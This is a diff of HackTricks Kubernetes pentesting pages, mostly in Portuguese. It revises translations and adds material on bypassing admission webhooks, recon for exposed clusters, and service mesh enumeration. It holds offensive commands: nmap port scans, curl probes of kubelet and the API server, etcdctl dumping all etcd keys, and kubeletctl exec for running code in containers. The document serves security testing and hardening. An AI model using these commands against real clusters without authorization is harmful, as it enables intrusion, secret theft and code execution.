`kubernetes.io/metadata.name` refere-se ao rótulo do nome do namespace. Namespaces com nomes na lista `values` serão excluídos da policy: -Verifique a existência de namespaces. Às vezes, devido à automação ou má configuração, alguns namespaces podem não ter sido criados. Se você tiver permissão para criar namespaces, poderá criar um namespace com um nome na lista `values` e as políticas não se aplicarão ao seu novo namespace. +Verifique a existência dos namespaces. Às vezes, devido à automação ou a uma misconfiguration, alguns namespaces podem não ter sido criados. Se você tiver permissão para criar namespace, você poderia criar um namespace com um nome na lista `values` e as policies não se aplicariam ao seu novo namespace. -O objetivo deste ataque é explorar **má configuração** dentro do VWC para contornar as restrições dos operadores e, em seguida, elevar seus privilégios com outras técnicas. +O objetivo deste ataque é explorar **misconfiguration** dentro de VWC para contornar as restrições dos operators e então elevar seus privilégios com outras técnicas + +Outros padrões comuns de bypass ou abuse: + +- Um `objectSelector` que permite aos usuários adicionar um rótulo de opt-out aos seus próprios objects. +- `failurePolicy: Ignore` em validação crítica de segurança, especialmente quando o webhook Service não tem endpoints ou a rede é instável. +- Exceções do policy engine para users, groups, service accounts, namespaces ou roles mais amplas do que o pretendido. +- Cobertura ausente para templates de workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources ou operações de update. +- Acesso de escrita a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies ou exception resources. +- Um mutating webhook malicioso que injeta containers, altera images, monta secrets, adiciona tolerations ou muda a seleção de service account antes da validação. + +Lembre-se de que admission protege apenas requests que passam pela cadeia de admission do API server. Static Pods, acesso ao socket de runtime local do node, abuse direto do kubelet e acesso direto ao etcd são caminhos de confiança diferentes e exigem hardening e monitoramento separados. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -## Referências +## References - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) +- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) +- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index 6648cb34c..7551c5281 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,15 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes usa vários **serviços de rede específicos** que você pode encontrar **expostos à Internet** ou em uma **rede interna depois que você tiver comprometido um pod**. +Kubernetes usa vários **serviços de rede específicos** que você pode encontrar **expostos à Internet** ou em uma **rede interna depois de comprometer um pod**. ## Finding exposed pods with OSINT -Uma forma pode ser pesquisar `Identity LIKE "k8s.%.com"` em [crt.sh](https://crt.sh) para encontrar subdomínios relacionados a kubernetes. Outra forma pode ser pesquisar `"k8s.%.com"` no github e procurar por **arquivos YAML** contendo a string. +Uma forma pode ser buscar por `Identity LIKE "k8s.%.com"` em [crt.sh](https://crt.sh) para encontrar subdomínios relacionados ao kubernetes. Outra forma pode ser buscar `"k8s.%.com"` no github e procurar por **arquivos YAML** contendo a string. + +Useful external recon signals to correlate before scanning: + +- Nomes de DNS e certificate transparency contendo `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ou nomes de região. +- Nomes de cloud load balancer, CNAMEs, tags e hostnames do provider que possam ligar uma aplicação exposta ou a interface da plataforma a um cluster. +- Repositórios públicos, logs de CI, valores de Helm, Terraform state, manifests renderizados, container images e documentação vazando kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway ou configurações de dashboard. +- Inventário de Kubernetes gerenciado, quando credenciais da cloud estiverem no escopo: acesso público/privado do endpoint EKS e CIDRs públicos, configurações públicas/privadas do plano de controle do GKE e authorized networks, e configurações de private cluster/API server authorized IP do AKS. +- Ferramentas expostas da plataforma ao redor do cluster, como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, service mesh dashboards e endpoints de administração ou métricas do ingress-controller. + +Trate isso como pistas de atribuição e priorização. Uma aplicação Ingress pública é normal em muitos clusters, enquanto kubelet exposto, etcd, dashboard, controle de deploy de CI/CD ou kubeconfig vazado devem ter prioridade muito maior. ## How Kubernetes Exposes Services -Pode ser útil entender como Kubernetes pode **expor services publicamente** para encontrá-los: +Pode ser útil entender como Kubernetes pode **expor serviços publicamente** para encontrá-los: {{#ref}} ../exposing-services-in-kubernetes.md @@ -22,20 +32,20 @@ As seguintes portas podem estar abertas em um cluster Kubernetes: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | -| 443/TCP | kube-apiserver | Porta da Kubernetes API | +| 443/TCP | kube-apiserver | Porta da API do Kubernetes | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | | 4194/TCP | cAdvisor | Métricas de container | -| 6443/TCP | kube-apiserver | Porta da Kubernetes API | -| 8443/TCP | kube-apiserver | Porta da Minikube API | -| 8080/TCP | kube-apiserver | Porta insegura da API | -| 10250/TCP | kubelet | API HTTPS que permite acesso em modo completo | -| 10255/TCP | kubelet | Porta HTTP somente leitura sem autenticação: pods, pods em execução e estado do node | +| 6443/TCP | kube-apiserver | Porta da API do Kubernetes | +| 8443/TCP | kube-apiserver | Porta da API do Minikube | +| 8080/TCP | kube-apiserver | Porta de API insegura | +| 10250/TCP | kubelet | API HTTPS que permite acesso em modo full | +| 10255/TCP | kubelet | Porta HTTP read-only sem autenticação: pods, pods em execução e estado do node | | 10256/TCP | kube-proxy | Servidor de health check do Kube Proxy | -| 9099/TCP | calico-felix | Servidor de health check para Calico | +| 9099/TCP | calico-felix | Servidor de health check do Calico | | 6782-4/TCP | weave | Métricas e endpoints | -| 30000-32767/TCP | NodePort | Proxy para os services | -| 44134/TCP | Tiller | Serviço Helm em escuta | +| 30000-32767/TCP | NodePort | Proxy para os serviços | +| 44134/TCP | Tiller | Serviço do Helm listening | ### Nmap ```bash @@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Este é o **serviço API do Kubernetes** com o qual os administradores normalmente falam usando a ferramenta **`kubectl`**. +Este é o **serviço da API do Kubernetes** com o qual os administradores costumam interagir usando a ferramenta **`kubectl`**. -**Portas comuns: 6443 e 443**, mas também 8443 em minikube e 8080 como inseguro. +**Portas comuns: 6443 e 443**, mas também 8443 no minikube e 8080 como insegura. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Confira a seguinte página para aprender como obter sensitive data e realizar sensitive actions ao falar com este serviço:** +**Verifique a seguinte página para aprender como obter dados sensíveis e executar ações sensíveis falando com este serviço:** {{#ref}} ../kubernetes-enumeration.md @@ -59,9 +69,9 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Este service **roda em cada node do cluster**. É o service que vai **controlar** os pods dentro do **node**. Ele fala com o **kube-apiserver**. +Este serviço **roda em cada node do cluster**. É o serviço que vai **controlar** os pods dentro do **node**. Ele fala com o **kube-apiserver**. -Se você encontrar este service exposto, talvez tenha encontrado uma **unauthenticated RCE**. +Se você encontrar este serviço exposto, pode ter encontrado uma **RCE sem autenticação**. #### Kubelet API ```bash @@ -70,7 +80,7 @@ curl -k https://:10250/pods ``` Se a resposta for `Unauthorized`, então é necessária autenticação. -Se você conseguir listar nodes, pode obter uma lista de endpoints do kubelet com: +Se você conseguir listar nodes, pode obter uma lista de endpoints de kubelets com: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -98,29 +108,52 @@ Você poderia abusar deste service para escalar privilégios dentro de Kubernete ### cAdvisor -Service útil para coletar métricas. +Service útil para coletar metrics. ```bash curl -k https://:4194 ``` ### NodePort -Quando uma porta é exposta em todos os nós via um **NodePort**, a mesma porta é aberta em todos os nós, proxificando o tráfego para o **Service** declarado. Por padrão, essa porta estará no **intervalo 30000-32767**. Assim, novos services não verificados podem ficar acessíveis por meio dessas portas. +Quando uma porta é exposta em todos os nodes via um **NodePort**, a mesma porta é aberta em todos os nodes, proxyando o tráfego para o **Service** declarado. Por padrão, essa porta estará no **range 30000-32767**. Então, novos services não verificados podem estar acessíveis por essas portas. ```bash sudo nmap -sS -p 30000-32767 ``` +### Malha de serviços e superfícies de proxy + +Clusters usando **Istio, Linkerd, Cilium service mesh, ou gateways baseados em Envoy** adicionam outra camada de serviço para enumerar. Uma malha pode fornecer mTLS, identidade de workload, roteamento L7, policy de authorization, telemetry e controles de gateway/egress, mas ela só protege o tráfego que realmente está inscrito e interceptado pela malha. + +Verificações úteis a partir do acesso ao Kubernetes: +```bash +kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' +kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' +kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' +kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' +``` +Review: + +- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. +- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. +- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. + +Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. + ## Vulnerable Misconfigurations -### Acesso Anônimo ao Kube-apiserver +### Kube-apiserver Anonymous Access -O acesso anônimo aos **endpoints da API do kube-apiserver não é permitido**. Mas você pode verificar alguns endpoints: +Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -### **Verificando Acesso Anônimo ao ETCD** +### **Checking for ETCD Anonymous Access** -O ETCD armazena os secrets do cluster, arquivos de configuração e mais dados **sensíveis**. **Por padrão**, o ETCD **não pode** ser acessado **anonimamente**, mas é sempre bom verificar. +O ETCD armazena os secrets do cluster, arquivos de configuração e outros dados **sensíveis**. Por **padrão**, o ETCD **não** pode ser acessado **anonimamente**, mas é sempre bom verificar. -Se o ETCD puder ser acessado anonimamente, você pode precisar **usar a** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. O seguinte comando obterá todas as keys armazenadas: +Se o ETCD puder ser acessado anonimamente, talvez seja necessário **usar a** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. O seguinte comando obterá todas as keys armazenadas: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` @@ -128,15 +161,15 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only A [**documentação do Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explica que, por **padrão, o acesso anônimo** ao serviço é **permitido:** -> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated` +> Habilita requisições anônimas para o servidor Kubelet. Requisições que não forem rejeitadas por outro método de autenticação são tratadas como requisições anônimas. Requisições anônimas têm um nome de usuário `system:anonymous` e um nome de grupo `system:unauthenticated` -Para entender melhor como a **authentication and authorization of the Kubelet API works** confira esta página: +Para entender melhor como a **autenticação e autorização da API do Kubelet funciona**, confira esta página: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -O serviço **Kubelet** **API is not documented**, mas o código-fonte pode ser encontrado aqui e encontrar os endpoints expostos é tão fácil quanto **executar**: +O **Kubelet** serviço **API não é documentado**, mas o código-fonte pode ser encontrado aqui e descobrir os endpoints expostos é tão fácil quanto **executar**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -160,18 +193,18 @@ kubeletctl pods ``` #### /exec -Este endpoint permite executar code dentro de qualquer container com muita facilidade: +Este endpoint permite executar código dentro de qualquer container de forma muito fácil: ```bash kubeletctl exec [command] ``` > [!NOTE] -> Para evitar este ataque o serviço _**kubelet**_ deve ser executado com `--anonymous-auth false` e o serviço deve ser segregado no nível de rede. +> Para evitar este attack, o serviço _**kubelet**_ deve ser executado com `--anonymous-auth false` e o serviço deve ser segregado no nível de network. -### **Verificando Exposição de Informações do Kubelet (Porta Read Only)** +### **Checking Kubelet (Read Only Port) Information Exposure** -Quando uma **porta read-only do kubelet** está exposta, torna-se possível que informações sejam recuperadas da API por partes não autorizadas. A exposição desta porta pode levar à divulgação de vários **elementos de configuração do cluster**. Embora as informações, incluindo **nomes de pod, localizações de arquivos internos e outras configurações**, possam não ser críticas, sua exposição ainda representa um risco de segurança e deve ser evitada. +Quando uma **porta kubelet read-only** está exposta, torna-se possível que informações sejam recuperadas da API por partes não autorizadas. A exposição desta porta pode levar à divulgação de vários **cluster configuration elements**. Embora as informações, incluindo **pod names, locations of internal files, and other configurations**, possam não ser críticas, sua exposição ainda representa um risco de segurança e deve ser evitada. -Um exemplo de como esta vulnerabilidade pode ser explorada envolve um atacante remoto acessando uma URL específica. Ao navegar para `http://:10255/pods`, o atacante pode potencialmente recuperar informações sensíveis do kubelet: +Um exemplo de como esta vulnerability pode ser explorada envolve um remote attacker acessando uma URL específica. Ao navegar para `http://:10255/pods`, o attacker pode potencialmente recuperar informações sensíveis do kubelet: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)